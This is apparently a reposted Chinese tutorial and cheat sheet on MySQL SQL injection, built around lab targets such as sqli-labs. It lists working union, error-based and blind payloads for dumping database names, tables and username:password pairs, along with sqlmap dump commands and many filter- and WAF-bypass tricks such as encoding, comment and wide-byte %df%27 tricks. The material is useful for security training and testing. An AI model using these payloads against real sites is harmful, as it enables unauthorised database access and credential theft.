SQL注入绕过总结
SQL注入绕过总结
mysql手工注入方法 ?id=1%df’(测试是否存在注入,报错则存在) ?id=1%df’-- -(注释后面多余的’limit 0,1 页面正常) ?id=1%df’order by n-- -(order测试字段长度,报错则说明超出最大长度) ?id=-1%df’union select 1,2,3-- - ?id=-1%df’union select 1,2,database()-- -(在页面回显出当前的数据库名字) ?id=-1%df’union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- -(爆出当前数据库的所有表) ?id=0%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+ (爆出目标表的列名) ?id=0%df‘ union select 1,2,group_concat(username,0x3a,password) from users--+(爆出目标列的字段名字)
http://219.153.49.228:48120/new_list.php?id=1 首先尝试id=1' and 1=1-- - 或者id=1" and 1=1-- - 或者1") and 1=1-- - 或者 1 and 1=1-- - 假如是id=1' and 1=1-- - 那么and 1=1 就是我们可控的点 接下来在这个位置进行替换就好 http://219.153.49.228:48120/new_list.php?id=1' order by 4-- - 判断字段个数 让id查询不到 显示我们的union select的值 且union select 后的数字遵循order by 判断的值 http://219.153.49.228:48120/new_list.php?id=-1' union select 1,2,3,4-- - 查询当前数据库 http://219.153.49.228:48120/new_list.php?id=-1 union select 1,database(),3,4-- - http://219.153.49.228:48120/new_list.php?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()-- - (注入出表名) http://219.153.49.228:48120/new_list.php?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name="StormGroup_member"-- -(注入出列名) http://219.153.49.228:48120/new_list.php?id=-1 union select 1,group_concat(name,0x3a,password),3,4 from StormGroup_member-- -(注入出字段值)
注出所有表 http://test ?id=1' and (select 1 from (select count(*),concat(((select (schema_name) from information_schema.schemata limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) -- - http://test?id=2' and (select 1 from (select count(*),concat(((select concat(schema_name,';') from information_schema.schemata limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) -- - 当前数据库 http://test ?id=2' and (select 1 from (select count(*),concat(((select concat(database(),';'))),floor (rand(0)*2))x from information_schema.tables group by x)a) -- - 当前数据库的表 http://test ?id=2' and (select 1 from (select count(*),concat(((select concat(table_name,';') from information_schema.tables where table_schema='security' limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) -- - 列名 http://test ?id=2' and (select 1 from (select count(*),concat(((select concat(column_name,';') from information_schema.columns where table_name='users' limit 5,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) -- - 报字段 http://test ?id=2' and (select 1 from (select count(*),concat(((select concat(password,';') from users limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) -- -
报错注入 http://192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php ?id=2' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) -- - http://192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php ?id=2' and updatexml(1,concat(0x7e,(select (table_name) from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)-- - http://192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php ?id=2' and updatexml(1,concat(0x7e,(select (column_name) from information_schema.columns where table_name="users" limit 0,1),0x7e),1)-- -
大碗宽面 mysql手工注入方法 以查找书籍页面为例,post一个name=1给后端,拼接到sql语句select * from books where bookid =‘$id’limit 0,1; ?id=1’(测试是否存在注入,报错则存在) ?id=1’-- -(注释后面多余的’limit 0,1 页面正常) ?id=1’order by n-- -(order测试字段长度,报错则说明超出最大长度) ?id=-1’union select 1,2,3-- - ?id=-1’union select 1,2,database()-- -(在页面回显出当前的数据库名字) ?id=-1’union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- -(爆出当前数据库的所有表) ?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+ (爆出目标表的列名) ?id=0‘ union select 1,2,group_concat(username,0x3a,password) from users--+(爆出目标列的字段名字) http://219.153.49.228:48896/new_list.php?id=-1%df%27%20union%20select%201,2,3,4,database()--%20- http://219.153.49.228:48896/new_list.php?id=-1%df%27%20union%20select%201,2,3,4,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%20--%20- notice,stormgroup_member 爆表名的时候要进行hash编码 id=-1%df' union select 1,2,3,4,group_concat(column_name) from information_schema.columns where table_name=0x73746F726D67726F75705F6D656D626572-- -
页面上一节我们已经观察过了,这次我们就直接开始思考,并且还是猜测sql为: select * from table where id = $id+(后面可能有的限制语句或嵌套查询语句等等,因此我都习惯在注入语句后面跟注释符屏蔽这些可能的干扰) 标题是延时注入,那么首先想到的就是用sleep()函数来让页面延时打开,进而判断出延时注入点。 假设$id为数字型: url?id=1 and sleep(1) %23,无反应 假设$id为字符型: 括号:url?id=1) and sleep(1) %23,无反应 双引号:url?id=1" and sleep(1) %23,无反应 单引号:url?id=1' and sleep(1) %23,有反应了,页面有明显的延迟 至此,延时注入点就找到了,我们就可以利用它来获取我们想要的信息了。 比如用户名长度 url?id=1' and sleep(if(length(user())<15,0,3)) %23 url?id=1' and sleep(if(length(user())<15,0,3)) %23 比如操作系统名 url?id=1' and sleep(if("Win32"=@@version_compile_os,0,3)) %23 以上只是说明思路,具体用哪种函数并不重要,不过还是介绍下常用的几种函数: sleep() //等待一定时间后执行SQL语句,单位为秒,如sleep(3)为等待3秒 if(条件,true,false) //条件为真返回true值,否则返回false值,如if(a=b,0,5)为如果a等于b则返回0,否找返回5。常用条件:=、<、<=、>、>= length(str) //返回长度 mid(str,start,length) //截取字符串,从1开始,0以及超过长度部分返回NULL ord(str) //返回字符串第一个字符的 ASCII 值。 2019/5/17:增加查询Flag 这个太麻烦了,有毅力的读者请参照第一关的思路来弄吧,弄的时候需要注意flag值可能在其他表、其他库。
sqlmap用法 sqlmap -u '192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php?id=1' # 检测注入点是否可用 sqlmap -u '192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php?id=1' --dbs #可曝出该mysql中所有数据库名称 sqlmap -u '192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php?id=1' --current-db #web当前使用的数据库 sqlmap -u '192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php?id=1' --current-user #web数据库使用账户 sqlmap -u '192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php?id=1' --users #列出sql所有用户 sqlmap -u '192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php?id=1' --passwords #数据库账户与密码 sqlmap -u ‘192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php?id=1’ --tables #输出所有的表 sqlmap -u '192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php?id=1' -D 【数据库名】 --tables #-D 指定数据库名 sqlmap -u '192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php?id=1' -D 【数据库名】 -T 【表名】 --columns #-T:指定要列出字段的表 --columns 列出了所有的列字段 sqlmap -u '192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php?id=1' -D 【数据库名】 -T 【表名】 -C"username,realname,password" --dump # -C :指定要暴的字段 sqlmap万能用法 burp抓包保存为1.txt sqlmap -r 1.txt --dbs #可曝出该mysql中所有数据库名称 sqlmap -r 1.txt --current-db #web当前使用的数据库
猜测数据库 ?id=1' and length(database())=8-- - id=1' and left(database(),1)>'a' -- - 1 id=1' and left(database(),1)>'z' -- - 0 在a-z之间 id=1' and left(database(),1)>'r' -- -1 id=1' and left(database(),1)>'s' -- -0 id=1' and left(database(),2)>'sa'-- - 猜测表 id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit a,1),b,1))>n a是从0开始第几个表,b是为第几个字符,n是ASCII所对应的十进制数 第一个表 ascii(substr((select table_name information_schema.tables where tables_schema=database() limit 0,1),1,1))=101 ascii(substr((select table_name information_schema.tables where tables_schema=database() limit 0,1),1,1))=101 第二个表 ascii(substr((select table_name information_schema.tables where tables_schema=database() limit 1,1),1,1))=101 判断user表 http://localhost/Tkitn/sqlitest/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='user' limit 0,1),1,1))>100%23 爆出字段 http://localhost/Tkitn/sqlitest/Less-5/?id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))=68-- - 盲注 时间盲注 ?id=1' and sleep(5)-- - ?id=1' and if(length(database())>=8,sleep(5),1)-- - 盲注
转载:
https://blog.csdn.net/wy_97/article/details/78085664
https://blog.csdn.net/zacklin/article/details/7741455
https://www.jianshu.com/p/078df7a35671
https://www.cnblogs.com/baimaoma/p/8608490.html
https://blog.csdn.net/qq_31481187/article/details/59727015
https://zhuanlan.zhihu.com/p/320579411
常见注入点位置及判断方法
- GET中的注入点 一般这种注入点最容易被发现了,可以用sqlmap或者 手工验证。
- POS中的注入点 POST参数中的注入点一般无法直接发现,需要使用burp或浏览器插件(推荐hackbar 或maxhackbar)抓包后发现。当然 sqlmap 也是可以的。
- User-agent 注入点 使用sqlmap 和 burp的 repeater 模块都可以发现 User-agent中的注入点。这类题目较少。
- Cookie 中的注入点 这个也是可以用 sqlmap 和 burp 工具来发现。相对 User-agent 注入点,Cookie中的注入点更为多见。
当我们选择注入位置后,需要判断是否存在注入。存在注入前,我们假设服务器程序执行以下SQL语句:
SELECT UseName FROM User WHERE id='$id'; SELECT UseName FROM User WHERE id= $id;
上面两种假设当中,第一种为字符串类型注入、第二种为数字型注入。
完成上述假设后,我们通过以下几种方法来判断是否存在注入:
- 插入单引号 是我们最常见的检测方法,通过插入单引号导致SQL语句引起未闭合错误,确认是否存在注入。
- 数字型判断 通过 and 1=1 和 'and'1'='1 进行判断。
- 通过加减法判断 如果原语句是 ?id=2 尝试使用 id=3-1 尝试。
1.0各类绕过方法的介绍
- 关键字过滤, 即 过滤了 select、or 、from 等关键字。这类题目通常将关键字搜索到后置换为空,我们通常穿插关键字的方法进行绕过,也可以通过大小写转换的方式绕过。也可以通过十六进制和双重URL编码来进行绕过。
- 空格过滤 即对空格进行了过滤。需要用到注释符绕过、URL编码绕过、空白符绕过、特殊符号绕过。
通过表格说明绕过方法:
1.1 注释符绕过
常用注释符:
-- , /**/, #(%23)
验证:
mysql> select * from sql_test where id = /*11*/1; +----+----------+----------+| id | username | password | +----+----------+----------+ | 1 | admin | 123456 | +----+----------+----------+ 1 row in set (0.00 sec)
mysql> select * from sql_test where id = 3;-- select * from sql_test; +----+----------+----------+ | id | username | password |+----+----------+----------+ | 3 | test2 | 456 | +----+----------+----------+ 1 row in set (0.00 sec)
mysql> select * from sql_test where id = 3;# select * from sql_test; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 3 | test2 | 456 | +----+----------+----------+ 1 row in set (0.00 sec)
mysql> select * from sql_test where id ='1'/1=(1=3)/'1'='1'; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 2 | test | 234 | | 3 | test2 | 456 | +----+----------+----------+ 2 rows in set (0.00 sec) mysql> select * from sql_test where id ='1'/1=(1=1)/'1'='1'; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | admin | 123456 | +----+----------+----------+ 1 row in set (0.00 sec)
理解如下:
where id=1=0/1=1 ->where id=1=0=1 id!=1,比如id=2 和 id=3的时候 id=1返回了一个值为0的布尔变量 0=0继而返回了1的布尔变量 再和=1比较,返回比较成功,故选取了id 2,3的记录
先除后判等,左往右
1.2 大小写绕过
sql语句忽略关键词是否大小写,其实只要waf不是故意这样设计的,基本上拦截都是大小写一起拦截的
mysql> select * from sql_test where id = 3 uniON sEleCt * from sql_test where id = 2; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 3 | test2 | 456 | | 2 | test | 234 | +----+----------+----------+ 2 rows in set (0.00 sec)
1.3 内联注释绕过
ummmm,解释起来就是,它把一些特有的仅在MYSQL上的语句放在 /*! ... */ 中,这样这些语句如果在其它数据库中是不会被执行,但在MYSQL中它会执行
mysql> select * from sql_test where id = 3 union /*!select*/ * from sql_test where id like 2; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 3 | test2 | 456 | | 2 | test | 234 | +----+----------+----------+ 2 rows in set (0.00 sec)
1.4 双关键字绕过
?id=1+UNIunionON+SeLselectECT+1,2,3–
这个一般用于简易waf,好心办坏事,比如说他将关键词select忽略大小写,只要有这个词,就把它替换成空(注意,只替换一次),这样原先我们注入的seleselectct是错误的,识别不出来的,但是经过waf 就变成了select,可以正确识别
1.5 编码绕过
双重url编码,这个得遇到特殊题目可以这么做,后台可能代码如下:
$insert=$link->query(urldecode($_GET['id'])); $row=$insert->fetch_row();
16进制绕过:
mysql> select * from sql_test where id = 3 union select * from sql_test where username = 0x74657374; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 3 | test2 | 456 | | 2 | test | 234 | +----+----------+----------+ 2 rows in set (0.06 sec)
mysql> select * from sql_test where username = char(116)+char(101)+char(115)+char(116); +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | admin | 123456 | | 2 | test | 234 | | 3 | test2 | 456 | +----+----------+----------+ 3 rows in set, 3 warnings (0.00 sec)
1.6 空格绕过
waf拦截了空格,怎么办?五种考虑,用双空格/制表符代替尝试,用/**/当做空格,用括号包起来进行,用回车代替空格,反引号`的使用
mysql> select(id)from(sql_test)where(id=1); +----+ | id | +----+ | 1 | +----+ 1 row in set (0.00 sec)
mysql> select/**/id/**/from/**/sql_test/**/where/**/id=1/**/; +----+ | id | +----+ | 1 | +----+ 1 row in set (0.00 sec)
mysql> select -> id -> from -> sql_test -> where -> id -> = -> 1 -> ; +----+ | id | +----+ | 1 | +----+ 1 row in set (0.00 sec)
注:url中%0a为回车
mysql> select username from sql_test where id=1 ; +----------+ | username | +----------+ | admin | +----------+ 1 row in set (0.00 sec)
mysql> select*from`sql_test`where`id`=1; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | admin | 123456 | +----+----------+----------+ 1 row in set (0.00 sec)
1.7 等于号绕过
拦截了等于号,我们可以用like去代替:
mysql> select * from sql_test where username like 'admin'; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | admin | 123456 | +----+----------+----------+ 1 row in set (0.00 sec)
1.8 逗号绕过
在使用盲注的时候,需要使用到substr(),mid(),limit;这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from for的方式来解决,limit则可以用offset
mysql> select * from sql_test where ascii(mid(username from 1 for 1))>1; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | admin | 123456 | | 2 | test | 234 | | 3 | test2 | 456 | +----+----------+----------+ 3 rows in set (0.00 sec) mysql> select * from sql_test where ascii(mid(username from 1 for 1))>97; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 2 | test | 234 | | 3 | test2 | 456 | +----+----------+----------+ 2 rows in set (0.00 sec)
mysql> select * from sql_test where ascii(substr(username from 1 for 1))>97; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 2 | test | 234 | | 3 | test2 | 456 | +----+----------+----------+ 2 rows in set (0.00 sec)
mysql> select * from sql_test limit 1 offset 1; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 2 | test | 234 | +----+----------+----------+ 1 row in set (0.00 sec)
1.9 大于号小于号拦截绕过
在使用盲注的时候,在爆破的时候需要使用到比较操作符来进行查找。如果无法使用比较操作符,那么就需要使用到greatest,strcmp,in,between来进行绕过了。
mysql> select * from sql_test where id=1 and greatest(ascii(substr(username,1,1)),1)=97; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | admin | 123456 | +----+----------+----------+ 1 row in set (0.05 sec)
mysql> select * from sql_test where id=1 and strcmp(ascii(substr(username,1,1)),1); +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | admin | 123456 | +----+----------+----------+ 1 row in set (0.03 sec) mysql> select * from sql_test where id=1 and strcmp(ascii(substr(username,1,1)),97); Empty set (0.00 sec)
mysql> select * from sql_test where id = 1 and substr(username,1,1) in ('a'); +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | admin | 123456 | +----+----------+----------+ 1 row in set (0.23 sec) mysql> select * from sql_test where id = 1 and substr(username,1,1) in ('b'); Empty set (0.00 sec)
mysql> select * from sql_test where id = 1 and substr(username,1,1) between 0x61 and 0x63; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | admin | 123456 | +----+----------+----------+ 1 row in set (0.00 sec) mysql> select * from sql_test where id = 1 and substr(username,1,1) between 'a' and 'c'; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | admin | 123456 | +----+----------+----------+ 1 row in set (0.00 sec)
2.0 宽字节注入
过滤单引号时,可以试试宽字节 %bf%27 %df%27 %aa%27
%df’ 被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠\,变成了 %df\’,其中\的十六进制是 %5C ,那么现在%df\’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗’,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了。
2.1 常用连接语句符号
or,and,union,&&,||,^
^指的是异或操作,通常用于布尔型盲注绕过连接词
2.2 几个报错注入用来绕过的函数
extractvalue/updatexml
解释太复杂了,这里有详解,点这里
2.3 \N,E0,.0绕过
其实相当于NULL字符
mysql> select*from sql_test where id =\Nunion select * from sql_test where id=2; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 2 | test | 234 | +----+----------+----------+ 1 row in set (0.00 sec)
mysql> select*from sql_test where id =8E0union select * from sql_test where id=2; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 2 | test | 234 | +----+----------+----------+ 1 row in set (0.00 sec) mysql> select*from sql_test where id =8.0union select * from sql_test where id=2; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 2 | test | 234 | +----+----------+----------+ 1 row in set (0.06 sec)
mysql> select*from sql_test where id =7E0; Empty set (0.00 sec) mysql> select*from sql_test where id =7.0; Empty set (0.00 sec) mysql> select*from sql_test where id =\N; Empty set (0.00 sec)